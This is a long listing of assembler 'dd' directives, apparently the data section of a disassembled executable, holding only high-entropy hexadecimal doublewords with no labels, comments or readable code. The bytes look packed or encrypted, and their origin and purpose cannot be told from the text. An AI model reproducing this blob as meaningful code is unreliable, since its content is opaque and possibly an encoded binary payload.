		dd 48E624E5h, 22E891E7h, 0EBEA44E9h, 0ED12EC89h, 2FBEE22h
		dd 0F35F3FEFh, 0F8D0177Dh, 24303F2h, 4F04EB2Dh,	0C73C30Dh
		dd 75D29809h, 1AAEE11Eh, 9748873Fh, 2383E315h, 8191885h
		dd 4800103h, 0FEE93230h, 0D0DC666Bh, 7BB87A0Ch,	0D2C7F480h
		dd 0E9B8C72Eh, 0F63C156h, 5C2BFEF7h, 680BFB40h,	77F01C18h
		dd 74974654h, 0CA811525h, 66885777h, 2E0A3B22h,	191A1068h
		dd 923670Fh, 0EB681DD8h, 438D2389h, 166BAA91h, 0C8055AD1h
		dd 6E67E9C4h, 1D0A68D3h, 316AF9C2h, 0E1813006h,	94B70F24h
		dd 22C0CF12h, 1B6918E9h, 4C4D10C0h, 6608EEC8h, 4145FC9Fh
		dd 204E0C8Dh, 0FA0E555Eh, 0C74DC96Bh, 0B4D3F67Dh, 0BCEDF901h
		dd 0C1AB912Bh, 17802FFEh, 4CBF0FF2h, 50253AC6h,	0C7E884A2h
		dd 12E66F7h, 0FA7D8166h, 2C723FFFh, 46E41421h, 558E8919h
		dd 30F65E11h, 90C50157h, 67C17433h, 6D93147Dh, 7F7CC003h
		dd 0F15FE908h, 83225259h, 0A16B15F1h, 415FD1A0h, 3BFA7586h
		dd 833FA1E0h, 81B2FB7Ah, 75081C25h, 5DE8CE98h, 27BF85Dh
		dd 75591C4Dh, 1A7DCF1h,	81DEF717h, 150422E6h, 221D0D7Eh
		dd 364E656Eh, 0E611EEF3h, 2251DAh, 507E1C9Ah, 147DFAB0h
		dd 0C8F07539h, 0D1A53812h, 1AE8D825h, 6FCEF6BDh, 9509112Ah
		dd 0A6859F08h, 0FB1633F7h, 0F68A133Ch, 5FCA8B69h, 44E92C09h
		dd 7C0A2804h, 188C083h,	0F2B65175h, 62618AE9h, 0F98098CBh
		dd 4B8D0035h, 3B307C04h, 0F4F72C1h, 210691D2h, 3EF1EB48h
		dd 664097D0h, 0E08EB0FFh, 2CC33B2Ah, 2C548824h,	80C00108h
		dd 3A041864h, 61D988A9h, 7730020Ch, 5BF461A6h, 0B704D94Dh
		dd 63803020h, 0FE5C9705h, 0F6BED393h, 0C76377EDh, 2D5974D8h
		dd 0FB7A4609h, 0FC034140h, 2A0AA13Ch, 18FB0603h, 58B82E5Ah
		dd 8B85F888h, 95B06C35h, 0EB05A0B8h, 681AC834h,	2788B04Eh
		dd 619D7010h, 0E8571A02h
		dd 0B92D8FCFh, 41CEC070h, 38900BEFh, 26059064h,	64257E83h
		dd 82AB7041h, 72968BD8h, 1318E80Fh, 508C6FC7h, 0BFF94A3Bh
		dd 450BD508h, 2BC2AF04h, 0CA117F1Dh, 0D064725h,	3E827F36h
		dd 0EF297F15h, 8C640AFCh, 8260B52h, 0DF5935Dh, 0C0A12839h
		dd 0C4D6602Bh, 5CA90DD7h, 8D1E7D02h, 0DDDE4014h, 50959B3Ah
		dd 2229B25h, 490CC206h,	0E1DFF775h, 4B42205Dh, 45947F0Eh
		dd 0E16D64Ah, 7ADF2EF1h, 6278A4EFh, 89080A13h, 4D67BABh
		dd 29A3A8BDh, 215BAF81h, 459B3F56h, 16C44C21h, 39050C2Ah
		dd 9FF49050h, 14A046EDh, 4247CC9Fh, 99135E08h, 5782B4ECh
		dd 6486574h, 0C4FA391Bh, 9821BD4h, 7E03ABE8h, 265045D1h
		dd 91A2361Eh, 0C0512B77h, 12533EF4h, 0F468A8E8h, 0F1BFF8E6h
		dd 0B82F125Eh, 3B1F602Ah, 607659C7h, 3C802217h,	750C3D38h
		dd 2A53570Fh, 65BB52Ch,	0C624CEA2h, 3830E104h, 4E38448Dh
		dd 4A37F301h, 7384B1E6h, 0C179AE5Ah, 8A0154D5h,	5A08A74Ch
		dd 0F93E7964h, 258DA468h, 0B0ED0509h, 57E7524h,	0EB7FE103h
		dd 5B7C810Dh, 7F51AD16h, 0C972117Fh, 88236897h,	2566380Ah
		dd 84035A76h, 2B2CAB2Bh, 6D0A5EEBh, 0ECB7F6Ch, 6694C85Ah
		dd 0A514BFCh, 2D81688Eh, 0E4BE39ECh, 0A46268Eh,	0A4BAF964h
		dd 0F81C330Fh, 0CA85C223h, 7E06E781h, 0A1243D66h, 0E82401C3h
		dd 0B8832E0Fh, 0F98143B4h, 0AD162264h, 0BFFDFA30h, 0A24687F6h
		dd 773F187Ah, 3AEBA604h, 0B2EBADB8h, 5D7F028Ah,	0DD765D89h
		dd 60C65616h, 4639242Ch, 530B1D8Ch, 0E9690606h,	20D35B6Fh
		dd 1E684AEEh, 0C53101Fh, 3A433916h, 0B803EA11h,	0FE51BDDAh
		dd 0E90612BBh, 8D6F16FFh, 0BF9814E7h, 50C8BC1h,	20268B13h
		dd 7D146003h, 497E14FAh, 278F4CEAh, 3FA67108h, 0FE3EC45Eh
		dd 18B50889h, 6744E812h, 0AF630906h, 0FC181DC1h, 51807983h
		dd 0E831FF50h, 3BEF39Ch, 969406E5h, 56E159FBh, 0F46DD002h
		dd 0E8E360E9h, 1AC87533h, 0B0126CFCh, 59A00C18h, 81509C7Fh
		dd 0C05C0292h, 52059788h, 0BEC1257Eh, 0C54580E7h, 0D4A523FFh
		dd 643B8F6Bh, 7F1E8820h, 5307A4E2h, 0E451639h, 0E5712BCDh
		dd 67921EA8h, 5C8B0A01h, 7EF1DC7Ch, 0A4EC1792h,	4B4BC141h
		dd 4EEAAD86h, 0E7F2EC4Ah, 348E386Bh, 778D3CBCh,	6E3E8B0Fh
		dd 36F12510h, 330A1A3Dh, 0DE423575h, 672C67F7h,	3DAA6A65h
		dd 1D14E232h, 5733DC0Eh, 414651E6h, 0FB93157h, 62527A0Eh
		dd 10CA0D2Eh, 5BF47DDBh, 0DE2446E2h, 0A7A8338Bh, 47ED1B73h
		dd 0C70BD3FBh, 0A80E89E1h, 4E323B10h, 6E40C02h,	0D9A11E06h
		dd 0F7368EEBh, 55FF89DFh, 25D7812Ah, 0C7CD712Eh, 83648908h
		dd 7E680226h, 14E7D708h, 40BB5302h, 0FF6BCB88h,	3960EBB1h
		dd 2F741620h, 0C2A17D63h, 0AF89A0BBh, 0BDF6DC28h, 28101754h
		dd 0FF710675h, 412281CEh, 83105756h, 84BF54C3h,	0CBC203CCh
		dd 7466C007h, 0B8D4A27h, 0BA8D8117h, 0D59131C2h, 7DD83072h
		dd 2A5F435h, 0D0F6640Bh, 4D5EB589h, 835E7291h, 7F7EC9EAh
		dd 4B7CC357h, 4093B1D4h, 64EAED5Dh, 3166BF98h, 3D8BB50Dh
		dd 81C7DA7Ch, 0BB9DD0Bh, 0B8A92E07h, 0DDDE5A6Fh, 75646DFEh
		dd 0D3BC8B58h, 26A1FE1h, 4E74C7DAh, 0DD7EB8E2h,	6A03E4BFh
		dd 832B86EBh, 0E8168498h, 5309EF3Bh, 658A0555h,	883FB18Dh
		dd 3EC62F47h, 0E2425055h, 0DA22AA36h, 85DE9587h, 53EBE892h
		dd 40E0B72h, 57B1895Ch,	993FB875h, 61DCADEFh, 0E63AF5D7h
		dd 0F91C2146h, 482F1930h, 0B2B0787Ch, 2740755Fh, 495AB857h
		dd 0BE948883h, 102F49F9h, 3D04D0DBh, 234C9778h,	8F21D43Ah
		dd 340C4443h, 5330C4BBh, 21C11082h, 0A0D51369h,	7EF33B1Ch
		dd 0B9489D10h, 0C648CDE8h, 6E9973Eh, 5D391406h,	0E6BD2A1Ch
		dd 0B6E82A66h, 14049617h, 0F44A35A1h, 1AA41BB1h, 0E6B3565Fh
		dd 0A744BD9Dh, 0D36E0141h, 4BC49DE3h, 73E5F65Dh, 974C61Bh
		dd 98342FA7h, 79AA4FD9h, 785585BFh, 0D27D270Dh,	0F154E17Bh
		dd 0F73B406Ch, 0D398417Fh, 0FFB3C45Fh, 0AF119415h, 2019518Ah
		dd 6B890A2h, 7202C47Dh,	0CA1C3E22h, 74CB5D38h, 9D45C1Ah
		dd 0E276D33Ah, 3C3D3224h, 72088F09h, 76CAA104h,	926A40ADh
		dd 0E17FE66Ch, 0BE48A563h, 0DC31AB31h, 96319D72h, 941B1802h
		dd 78860F02h, 3521E94Ah, 0AF7AE9E2h, 0C1A1F517h, 7F096A10h
		dd 0BA59268Ah, 0A537945Bh, 30167BEAh, 13AC2313h, 0FE6382C5h
		dd 85167B78h, 2A4CDB1Ah, 9CAA5412h, 78EE8583h, 8D7E9345h
		dd 575C03CEh, 358BB710h, 3500E296h, 4964E479h, 44D67422h
		dd 2BE0497Ah, 0EAF0612Fh, 143665BFh, 0B2DE6F13h, 36FFD82Ah
		dd 0FBDB7236h, 0FB688419h, 1BC42D74h, 68FB4C35h, 2ED716E6h
		dd 39B74DEDh, 0B45182DCh, 65EF4B1Fh, 5647AEFEh,	6AE37408h
		dd 0E8610B3Dh, 51D1022Dh, 1FF793h, 13FCF897h, 12BF266Eh
		dd 0FCBAD6A1h, 0F9807BDh, 6DB1C394h, 0AFBA1DB5h, 14A9D815h
		dd 481CA359h, 54751A03h, 19C16188h, 0F62C3DD5h,	52DD1189h
		dd 3E8E89BCh, 3B579C7Ah, 5B0BDF4Ch, 0C1AB8895h,	63628C65h
		dd 74394435h, 3889DF14h, 13758634h, 45714737h, 3631D745h
		dd 3D8BFC2Bh, 20532845h, 85D0EF33h, 0F6859E31h,	32437CCCh
		dd 3E483F83h, 32034870h, 8DB734FFh, 0A8E8993Ch,	15597B94h
		dd 97700B25h, 47AA464Bh, 0B5F0EB76h, 35C9BEC6h,	2B8DC12Eh
		dd 10307A79h, 4AEB3C74h, 421A435h, 3263B778h, 5E7A757Ch
		dd 0DEBD0998h, 0B5B57E05h, 0E83A302Ah, 50280353h, 749740CBh
		dd 0C54B0F4h, 647383B0h, 0B186ECB8h, 7477DCBAh,	0EC268BA4h
		dd 64A4C60h, 5C61BD0Bh,	2EB4CCA9h, 0E85631C1h, 239F5FE3h
		dd 0C82B9BC6h, 5B13A8A4h, 0F7407080h, 0E81B72DBh, 0D82326D3h
		dd 4158B6Fh, 0E88D0C74h, 0AC2B6BFCh, 64A95A39h,	0E238744Eh
		dd 6B2D2706h, 0E650DA9Eh, 0FB32253Ah, 0D98ACFBh, 17048A38h
		dd 0C3D3C38h, 1A468454h, 2F334EBBh, 2BCE14D7h, 0C1133C05h
		dd 37D2AEF8h, 821096C3h, 0DF9857FBh, 0FF4A85C9h, 0C35F0B44h
		dd 408D1A92h, 250A7418h, 0E1D2108Bh, 0F61750BCh, 6BF6EA10h
		dd 8AF57904h, 0EEC660F7h, 467EEEABh, 297F0C42h,	0DF15C45Eh
		dd 50130494h, 9C83C383h, 89531787h, 0AA18EB06h,	94E9EBF9h
		dd 0FF627EDh, 38FA5F45h, 0F4D7568h, 61E88374h, 0A87B5B73h
		dd 7F3D55D2h, 9901210Eh, 10963A89h, 0D346EDD0h,	0E312CC13h
		dd 0F06056FAh, 2EDEC01Ch, 84145E27h, 0C14539C2h, 0E7EB113Eh
		dd 37D0243Dh, 41C71455h, 0BFA4C6B4h, 0DAFFF08Dh, 1650290Ah
		dd 0A9C22B27h, 9497E9Eh, 0CED55DC1h, 661E403Eh,	0CBC85F5Eh
		dd 0DD604938h, 8ACC0BCAh, 257F5E62h, 0CC95E1D9h, 0A0B8C201h
		dd 0E87A4002h, 5466499Eh, 8A30EC02h, 0F257F345h, 88E03C9Fh
		dd 53E812F3h, 0BE86024Fh, 98441C48h, 785F1722h,	0DA33DE50h
		dd 0D1D72D79h, 4D403EA0h, 16E8C417h, 68E049C9h,	521F6380h
		dd 1232C750h, 75E8633Ch, 0B85E5221h, 445A42B4h,	544F9329h
		dd 58F17A48h, 0EC373E50h, 8FBCA14Ah, 0B031243h,	4D23D642h
		dd 0EE1F0C7Eh, 0CF80038Ah, 0DCE80788h, 3588834Eh, 78DA1248h
		dd 7423751Eh, 204E4D79h, 6C77A03h, 0EEB55A5Ch, 0AD74B953h
		dd 6F05F1FEh, 0F1504CB1h, 4B58B805h, 9B98FF12h,	9651501Ch
		dd 67E821E4h, 0F06810BCh, 0D5401893h, 8EA4C8B8h, 0B565B622h
		dd 87056862h, 175124F0h, 4E8CC07Eh, 646BE80Ch, 0CE4731F0h
		dd 657DF27Fh, 69635EE7h
		dd 0E86513C3h, 0BAF752BBh, 7401B0C1h, 85E1852Ah, 25E1FD36h
		dd 28A972C6h, 4259DCB8h, 26FB4A5Dh, 8CF158ACh, 8B5EE8BFh
		dd 0C43288Ah, 0EF289061h, 0E00DE24Dh, 111E4DFDh, 0B8BC4C99h
		dd 0C25DF051h, 0AE08B6B7h, 0A37594Dh, 2AF21094h, 610C8039h
		dd 88D355D0h, 64BAD09Eh, 0AB39B485h, 6A212723h,	48D2E241h
		dd 368EEEBh, 97647289h,	0E2271D2Ch, 0EB107843h,	913EB75Ch
		dd 0FFFDEAE1h, 20A8218Ch, 21846C18h, 181401D4h,	1F8A755Ah
		dd 4CC688E8h, 85014F58h, 0C5622F72h, 0E82F0179h, 0AC63D210h
		dd 21FE4239h, 5F6616Ch,	5FE1387Ch, 0D80BF05h, 96BB0952h
		dd 18232AA5h, 3309A2ABh, 682B0CE9h, 41404FF1h, 946748B8h
		dd 880CC3A7h, 25E46F3Ch, 91B7E1D4h, 8242540Ch, 2784FE4Eh
		dd 8750822Ch, 66F1F4A7h, 9445FCF1h, 0AD37C13Ah,	11B9635Bh
		dd 0B84B667Bh, 0BC0D934Bh, 22882E0Ah, 17BE5AA5h, 5B846C7h
		dd 3D265092h, 71E12BA9h, 52665CB7h, 9ADC2574h, 4865E80Ah
		dd 133C3344h, 5C2431D9h, 0B0EC4955h, 3168F558h,	0FF83644Ah
		dd 1C7B081h, 9744640h, 7C7164FFh, 6034B5AEh, 63F541A8h
		dd 1C9C115Dh, 53B43E64h, 7EC30EAh, 5225E851h, 0A0EBD95Ch
		dd 5DE349DBh, 0B6275A1h, 7A28FF4Ah, 0F3839557h,	7D4BB8BEh
		dd 0A5730BBFh, 69B755ECh, 8C3FF4FBh, 0E081E431h, 4139A36Fh
		dd 2F5218Dh, 0CA40CC8Ah, 0CA2CE9C8h, 38A41748h,	193831Ch
		dd 7608FDD2h, 0B4E963A1h, 0EEC32D2Ch, 5D7B1E10h, 0C059CFA6h
		dd 0B4145867h, 78FE559Eh, 0B8119662h, 891D8488h, 0CB4CF37h
		dd 90A47D21h, 207628BDh, 431F9022h, 0ECA46769h,	0D07A52ABh
		dd 55231450h, 0ED88F09Eh, 2022B8FEh, 0D9C84142h, 2D222844h
		dd 21C54216h, 64191550h, 344E12C8h, 28052B14h, 0E0889D90h
		dd 605DF143h, 0AF000014h, 4760F701h, 72205445h,	0EC48752Fh
		dd 0F31EC50h, 0A0D302Eh, 74736F40h, 2575203Ah, 754114C7h
		dd 72D06897h, 0EF617A69h, 0F6EBBD3h, 67654E26h,	1A7714DBh
		dd 4431DABh, 0C71C0C40h, 2A8C0771h, 7801553Fh, 0C2FF45C5h
		dd 0F5C7F02Fh, 96E0083Fh, 770730h, 0EE0E612Ch, 990951BAh
		dd 6DC4191Fh, 6AF48F40h, 0A53570h, 95A3E963h, 88329E64h
		dd 0A40EDB01h, 1E79DCB8h, 0F6E0D5F8h, 97D200D9h, 9B64C2Bh
		dd 0B1007CBDh, 0B82D077Eh, 71D91E7h, 106490BFh,	20F260B7h
		dd 48006AB0h, 0DEF3B971h, 84BE41h, 1ADAD47Dh, 6DDDE4EBh
		dd 80B5513Ch, 0D385C7F4h, 985683h, 0A8C0136Ch, 0F97A646Bh
		dd 0ECFD6200h, 4F8A65C9h, 1401035Ch, 63066CD9h,	0FA0F3D88h
		dd 80DF500h, 6E20C88Dh,	105E003Bh, 41E44C69h, 7207D560h
		dd 0D1A26771h, 473C0390h, 4B0400D4h, 0D20D85FDh, 0A0EB56Bh
		dd 0A0A8FAA5h, 0B2986C35h, 0C9D60042h, 0F940DBBBh, 0E37DACBCh
		dd 7532D800h, 0CF45DF5Ch, 0DCD6000Dh, 0ABD13D59h, 0D91C30ACh
		dd 0DE073A26h, 0D7208051h, 6116C8h, 0F4B5BFD0h,	0C42321B4h
		dd 9956B300h, 0FCFBA95h, 0B8BD1CA5h, 2802809Eh,	5F058808h
		dd 0CD9B200h, 0BE924C6h, 7C8700B1h, 4C112F6Fh, 0AB005868h
		dd 3DC1611Dh, 0B6662Dh,	76DC4190h, 1DB7106h, 0D220BC00h
		dd 0D5102A98h, 85891FEFh, 0B51F80B1h, 0E4A506B6h, 339FBF00h
		dd 0A2E8B8D4h, 78070EC9h, 0F00F934h, 9609A88Eh,	0E981800h
		dd 6A0DBBE1h, 3D2D007Fh, 6C97086Dh, 1019164h, 0F4E6635Ch
		dd 62C46B51h, 71CFA61h,	856530D8h, 0F2410F4Eh, 0F40695EDh
		dd 100A57Bh, 8F4C11Bh, 0C45782h, 0D9C6F50Fh, 0E95065B0h
		dd 0EA12B700h, 7C8BBEB8h, 0FCB90088h, 62DD1DDFh, 0DA1F2D49h
		dd 0D340F315h, 0D44C658Ch, 615804FBh, 81CE4DB2h, 0C0743A2Dh
		dd 0E200A3BCh, 41D4BB30h, 184ADFA5h, 0C4D895D7h, 0A400D1C4h
		dd 0D3D6F4FBh, 69E96Ah,	6ED9FC43h, 67884634h, 0B8D0AD00h
		dd 2D73DA60h, 0E5440004h, 5F33031Dh, 0AA000A4Ch, 0DD0D7CC9h
		dd 7905713Ch, 2410E50h,	0B201027h, 0C2086BEh, 0B525C900h
		dd 85B35768h, 9F46Fh, 9FB966D4h, 0ECE61E4h, 5EDEF900h
		dd 29D9C998h, 0D0EA22h,	0D7A8B4B0h, 0B33D17C7h,	0D81591Eh
		dd 5C3B2E80h, 0ADB7BDh,	20C0BA6Ch, 0B6EDB883h, 9ABFB307h
		dd 367E20Ch, 74B1D250h,	0D5470739h, 9077AFEAh, 0DB26159Dh
		dd 16830400h, 0B1273DCh, 84E30063h, 3E94643Bh, 0D1D6D6Ah
		dd 7A5F5AA8h, 0E40ECFC0h, 1C09FF9Dh, 0AE2793h, 79EB10Ah
		dd 0FF4447Dh, 0A3D2F000h, 0F2688708h, 0FE1E0001h, 5D6906C2h
		dd 0F7006257h, 806567CBh, 3F6C3671h, 6B80E719h,	0D41B766Eh
		dd 2B00E0FEh, 7A5A89D3h, 26CC10DAh, 7A8DD4Ah, 10F9B9DFh
		dd 438EBEEFh, 173BB7E6h, 60B003D5h, 88D6A3E8h, 0D1937Eh
		dd 0D8C2C4A1h, 0DFF25238h, 67F14F0Fh, 57C0BCBBh, 6DDA6BCh
		dd 4B3F00B5h, 0DA48B236h, 0D8000D2Bh, 0AF0A1B4Ch, 0FC034AF6h
		dd 47A0760h, 63EFC341h,	679155DFh, 6E8EDCA8h, 0BE793100h
		dd 0B38C4669h, 1ACB0061h, 0A0BC6683h, 25006FD2h, 5268E236h
		dd 0C7795h, 0B4703CCh, 216B9BBh, 262F2200h, 3BBE5505h
		dd 28C53FBAh, 92B2BD80h, 42BB45Ah, 5CB36A00h, 0C2D7FFA7h
		dd 0D0CF0031h, 0D99E8BB5h, 0AE0F1D2Ch, 0C0B05BDEh, 0F2269B64h
		dd 9CEC0063h, 0A756AA3h, 20F6D93h, 600906A9h, 0EB0E363Fh
		dd 7670785h, 571372h, 0BF4A8205h, 7A149500h, 2BAEE2B8h
		dd 387B00B1h, 9B0CB61Bh, 9200D28Eh, 0E5D5BE0Dh,	3DCEFB7h
		dd 0DBDF217Ch, 0D3F8D40Bh, 0E2764286h, 0B3F8F100h, 836E68DDh
		dd 0CD1F00DAh, 5B81BE16h, 0F607B926h, 6FB077E1h, 18B74730h
		dd 7E5A4CE6h, 0F6A7000h, 63BCAFFh, 0B5C6607h, 9E901101h
		dd 0F698F65h, 0D3F862AEh, 0C0616B24h, 78166CC5h, 0A00AE200h
		dd 0D70DD2EEh, 4830054h, 3B3C24Eh, 26006139h, 16F7A767h
		dd 4DD060h, 0DB496947h,	4A3E6E77h, 0AED16A00h, 0D9D65ADCh
		dd 0DF0B0066h, 0D83BF040h, 0BCFC5337h, 9EC5A900h, 0CF7FDEBBh
		dd 0E94700B2h, 1C30B5FFh, 8AE2BDF2h, 0CABAC21Eh, 53B39340h
		dd 0FB4A3A6h, 0D0360524h, 0D706C0BEh, 0DE5729CDh, 67BF5400h
		dd 7A2E23D9h, 0B8B30066h, 2C4614Ah, 5D00681Bh, 2A6F2B94h
		dd 70BBE37h, 0C8EA1B4h,	5DFF0C3h, 0EF178D5Ah, 6E382D02h
		dd 4510B950h, 0F00722BFh, 0CF1C30E6h, 0E319417Bh, 33C30609h
		dd 100A0107h, 107D0383h, 4320277h, 10050245h, 74D03035h
		dd 28200F2Fh, 7580338h,	30378108h, 0C6E757C5h, 8EF2E321h
		dd 6860A717h, 129C032Dh, 3785B70h, 0BBE145FEh, 0FDFF83Ch
		dd 0F1C0534h, 6E1C281Ch, 6C19751Ch, 7A532905h, 0BFEFFF28h
		dd 795F17B1h, 310922E7h, 7266C8C0h, 0DE707865h,	6F6D0539h
		dd 5F240364h, 0C6FD7968h, 630D11F4h, 21736261h,	20098F31h
		dd 68663F91h, 104C1750h, 446F716Ch, 65366372h, 3711BE69h
		dd 0C6A86174h, 0FFE5366Fh, 713F1076h, 6114D072h, 8322BCAh
		dd 42B41068h, 4BB43C5Fh, 8D683432h, 8162F08h, 0A088B2Fh
		dd 303167B6h, 28DF4808h, 8255E1EEh, 0C003C3DFh,	4150017Eh
		dd 4A801124h, 490F471Eh, 6F728573h, 0D0BB891Dh,	94ED4692h
		dd 6DD375DAh, 6EE91C20h, 1C4B8548h, 0CA4E5245h,	4C87334Ch
		dd 30712B90h, 802115E5h, 0B03A701h, 10A60970h, 0A8870880h
		dd 656610A4h, 88086F11h, 0CEAAB718h, 2894BB10h,	9DAB19A1h
		dd 382B2218h, 1033ED45h, 0DD1134D9h, 43187108h,	0CD2F18ACh
		dd 0B183311h, 812040BDh
		dd 8520BE67h, 35432C4Ah, 391031BFh, 40757209h, 656D69B3h
		dd 47F32072h, 50D8CECFh, 4F384C54h, 4A0ED253h, 49D17C27h
		dd 0F4B474Eh, 4F441470h, 4E29FC4Dh, 36524012h, 38633230h
		dd 50202D12h, 0CB6CA690h, 0AF8A7490h, 0A66F3952h, 7AB33BBFh
		dd 859F681Ch, 8382470h,	6E443728h, 0C37CEA86h, 6867750Ah
		dd 217073D9h, 66489A9Eh, 777682F1h, 96399669h, 5338480Bh
		dd 237A6B9Ch, 35796474h, 9B927008h, 694C76EAh, 44DA781Eh
		dd 63A60568h, 6F7B241Eh, 1952DA1Ah, 604F3428h, 21565FCDh
		dd 2FBA9A09h, 0DD0708B2h, 6023E321h, 0F839318Ah, 0BE7093F3h
		dd 1A64D2B3h, 0C3432113h, 2CA5E87Ch, 5C923891h,	0EC82E857h
		dd 0AB1A9164h, 11244858h, 0C26DF237h, 2AAD0F3Bh, 611AC068h
		dd 63228218h, 0AD30BC6Bh, 6E35C818h, 5F065B56h,	89A30641h
		dd 266D7244h, 79827001h, 6FEBFD67h, 15F29642h, 15E73037h
		dd 6A503F39h, 56B24222h, 44E06B6Dh, 8D382C5Eh, 0A8FF1C6Fh
		dd 73482975h, 6110A560h, 62BD4D2Ch, 8F676EDFh, 0CD0C1B83h
		dd 8E253B5Ah, 89805527h, 0C22E0D4Dh, 3D663A43h,	9177562Ch
		dd 2B430EABh, 7352D33Eh, 62AA4C9Dh, 794AB58Eh, 5D0A1A28h
		dd 22451731h, 2421320Fh, 3AD5B050h, 2E41CD20h, 4A3CC102h
		dd 0B3E141E6h, 5C6B5A4Dh, 84C7EDAh, 3D2F0E1h, 530932F4h
		dd 0D5874D36h, 57656254h, 68CF868Eh, 697246A0h,	0C0B16153h
		dd 24134A17h, 4D62D406h, 92416CE4h, 0B3FF790Ch,	0E56C064Eh
		dd 6553E601h, 99204F70h, 766F1E4Eh, 4CD07B44h, 85A6754h
		dd 4C74B247h, 41A25CE3h, 71765769h, 75032003h, 221454E5h
		dd 0EA855710h, 4D4CD264h, 676127E8h, 78F642FCh,	2331E8C1h
		dd 97DB4E51h, 4630110Dh, 848E146h, 53688644h, 0FCC2A031h
		dd 0FA0B0EF9h, 986BA831h, 40096F11h, 7F42701Dh,	6E10C6A8h
		dd 8B6C08FEh, 9172E611h, 3877244Dh, 126E47C9h, 0D541780Ch
		dd 7B33FE46h, 2138C809h, 6C867490h, 765A1173h, 139022B2h
		dd 85A33886h, 0FD13D9CFh, 5110F883h, 0CB320112h, 2A4C5509h
		dd 2078D3A1h, 1EAB70CBh, 1E400219h, 3983ED30h, 0E06D7363h
		dd 8C0DA3BCh, 15200903h, 11199305h, 0DB438BC5h,	320C466Ch
		dd 17013118h, 2213891h,	90510879h, 0D8031CF0h, 702B1CA4h
		dd 14691DC5h, 9A304402h, 38341714h, 58640245h, 184438B6h
		dd 58538E68h, 3790F288h, 5F4A891h, 3E1DB844h, 47012280h
		dd 4722DCDCh, 387824E8h, 7810487Eh, 28CA4847h, 3C05DA14h
		dd 22143530h, 7826028Ch, 7480BC48h, 24C5C80h, 44681CA4h
		dd 0A8E43010h, 9070236Fh, 24D8F278h, 1EE84F01h,	0C4155A21h
		dd 1949B821h, 684A1F00h, 404E3882h, 3CA33C6Dh, 6B260C11h
		dd 68B02B74h, 121C7120h, 4DD862F1h, 0C720A308h,	3C4D8C4h
		dd 30F9504Ch, 841009CAh, 1C314EE5h, 0D8581F70h,	0F2B08901h
		dd 98C2084Dh, 46289402h, 2AACF2D8h, 0E86CA124h,	0AC981501h
		dd 5B70E0CAh, 43DC98C7h, 2848CAC0h, 0C8D443D6h,	0E826DE70h
		dd 9572EC02h, 10AC1C28h, 2078B142h, 1C36291Eh, 1E209889h
		dd 65688D00h, 0C1903DFCh, 10831B21h, 4203h, 0CF03C300h
		dd 0E6814036h, 0C4089C4Eh, 12B421Ch, 41685207h,	10C38403h
		dd 10D0D608h, 146DF48h,	0CD17B14h, 0EDF59A1h, 21C0146h
		dd 31288065h, 2962302Eh, 64E42077h, 737B6FE2h, 0F21F6D3Bh
		dd 1EC76C7Dh, 7D1EBB02h, 6F4407FCh, 77D0656Eh, 0F6687469h
		dd 0F86C7B66h, 254ACF64h, 2F424B80h, 63156573h,	0FC3C2E29h
		dd 6E653753h, 17724762h, 0D33A376Fh, 3ED9253Ch,	4670442Eh
		dd 34617228h, 0CA46DEEh, 6B5763F6h, 79297E18h, 9853946Eh
		dd 566D6369h, 25B19570h, 0F3985D73h, 5049C1AFh,	2E21943Ah
		dd 15D97E77h, 0B7BE7028h, 7328337Bh, 1F46406Eh,	0E9C145B7h
		dd 0BD88EA4Dh, 4552FE64h, 73547EB8h, 67E669C3h,	4EFD4BA6h
		dd 13A67767h, 986F4DF7h, 751E5224h, 0D59AA372h,	641FEE2Dh
		dd 766E4981h, 5769F961h, 677263BDh, 68B5786Dh, 3AE3980Bh
		dd 14F6ED6Fh, 70517B81h, 663483E0h, 3C6C6961h, 722B2CEEh
		dd 5F4CE881h, 97659332h, 0A4A3CA48h, 3C237D23h,	0C82345DAh
		dd 63747030h, 38DDFA91h, 2BB56457h, 9302A6FAh, 596EB8E3h
		dd 7447F815h, 900A8EB4h, 0A48BBA8h, 0F94C42BFh,	99A90A22h
		dd 62090802h, 99072914h, 65090D02h, 98072914h, 5B091B02h
		dd 43531545h, 2D9075Dh,	46144170h, 794F231h, 0D7102CAh
		dd 769329Fh, 0DA23C4Ah,	7A5337Dh, 0A7730232h, 7DA340Dh
		dd 74022A53h, 0A5357D0Dh, 75023207h, 0DA360DA7h, 22A5307h
		dd 377D0D76h, 23207A5h,	380DA777h, 2A5307DAh, 7D0D7802h
		dd 3207A539h, 0ADB17902h, 7BBFA30h, 147A0229h, 8678463Fh
		dd 32237B46h, 0C022C33Bh, 890F6049h, 5318147Eh,	3670431h
		dd 32E50821h, 70030436h, 33538E40h, 23036704h, 3634E508h
		dd 24700304h, 435538Eh,	8250367h, 43636E5h, 8E5E7003h
		dd 67043753h, 0E5082603h, 3043638h, 538E2A70h, 3670439h
		dd 30E50828h, 70030436h, 0BD658E29h, 0B222D09h,	0BB14B15Fh
		dd 2B313D12h, 509220Ah,	4241545Bh, 207765Dh, 0D0F85149h
		dd 2401D10Bh, 0BE89457h, 45930168h, 59EE5139h, 203A49E8h
		dd 1240B1Ah, 0D0CDD54h,	5911C20Bh, 0B43BC27h, 9B550144h
		dd 0A20BA120h, 9496501h, 130B2969h, 9294F01h, 1480B6Fh
		dd 0C0745093h, 14A0B34h, 64DDCDBh, 144FF4Ah, 380BE1DDh
		dd 484B477Dh, 0F5CE6176h, 0BA538914h, 260B1AD4h, 52094401h
		dd 1910B64h, 66094632h,	1890B94h, 67099447h, 14CA40Bh
		dd 0A5680948h, 6501220Bh, 296A094Ah, 4B01130Bh,	0B6B0929h
		dd 4C990148h, 0B4A6C09h, 0CABA0144h, 450B3B09h,	0DE14623Ah
		dd 22622724h, 105A5914h, 1D10BD0h, 0E84C582Ch, 9901680Bh
		dd 4A630943h, 5601440Bh, 0BA19CB3h, 425C01A2h, 0DDE2E459h
		dd 6E094E8Ch, 1220BA5h,	6D094D65h, 1130B29h, 2C0929BCh
		dd 143C150Bh, 2E91BE88h, 0BF513E88h, 2E302F12h,	0DC448E3Fh
		dd 7C708C5Ch, 5B11448Eh, 52544305h, 7655D4Ch, 57D1F067h
		dd 0BBF24E49h, 20022907h, 4D07A104h, 0C8280A99h, 5092BE2Ch
		dd 660E8452h, 91510207h, 4C168F14h, 9307B54Bh, 68DD5867h
		dd 774E5FFh, 48F4F1D9h,	454D3F4Fh, 41590756h, 55479298h
		dd 7B2F6E7h, 44E9EC33h,	75AC4445h, 0F7419907h, 0DAFF4EE3h
